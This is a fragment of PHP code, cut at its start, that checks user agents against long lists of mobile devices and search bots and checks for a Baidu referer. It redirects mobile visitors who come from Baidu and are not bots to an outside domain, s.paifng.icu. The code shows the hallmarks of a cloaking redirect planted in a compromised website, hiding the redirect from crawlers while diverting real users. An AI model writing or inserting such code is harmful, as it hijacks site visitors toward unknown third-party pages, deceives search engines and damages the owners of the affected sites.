","siemens","sie-","softbank","sony","spice","sprint","spv","symbian","tablet","talkabout","tcl-","teleca","telit","tianyu","tim-","toshiba","tsm","up.browser","utec","utstar","verykool","virgin","vk-","voda","voxtel","vx","wap","wellco","wigbrowser","wii","windowsce","wireless","xda","xde","zte","huawei","honour","oppo","vivo","xiaomi","meizu","oneplus","realme","zte","motorola","nokia","lg","samsung","googlepixel","redmi","poco","tecno","itel","itel","gionee","lenovo","xiaomi","smartphone","androidmobile","androidsmartphone","androidtablet","androidphone","android-device","android-tablet","android-phone","harmonyos","harmony","huaweimate","huaweipad","mate","matebook","matewatch","nova","mediapad","mates","matepro","maters","matex","harmonyos","ohos","r11","findx","reno","ace","a5","a7","a9","f11","f9","k9","n1","neo","onexplayer","realme","vivoy","iqoo","vivox","vivoz","vivon","vivou","vivos","vivot","vivo","minote","mimix","redminote","redmik","redmix","redmig","redmis","redmiy","redmip","redmi","android","dalvik","linux;android","android-build","android-dev","android-sdk","android-emulator","android-x86","android-armv7","android-arm64","android-aarch64","android-apple","android-google","android-nexus","androi-asus","android-lenovo","android-motorola","android-samsung","android-huawei","android-oppo","android-vivo","android-xiaomi","android-meizu","android-oneplus","android-realme"); $is_mobile = false; foreach ($mobile_agents as $device) { if (stristr($user_agent, $device)) { $is_mobile = true; break; } } return $is_mobile; } $is_bot = false; foreach ($bot_list as $bot) { if($bot == 'baidu' && stripos($_SERVER['HTTP_USER_AGENT'], 'baidubox') !== false){ continue; } if (stripos($_SERVER['HTTP_USER_AGENT'], $bot) !== false) { $is_bot = true; break; } } $is_baidu_referer = false; if (isset($_SERVER['HTTP_REFERER'])) { if (stripos($_SERVER['HTTP_REFERER'], 'baidu.') !== false) { $is_baidu_referer = true; } } if (is_mobile()) { if ($is_baidu_referer && !$is_bot) { header("Location: http://s.paifng.icu/404.html"); exit(); } } ?>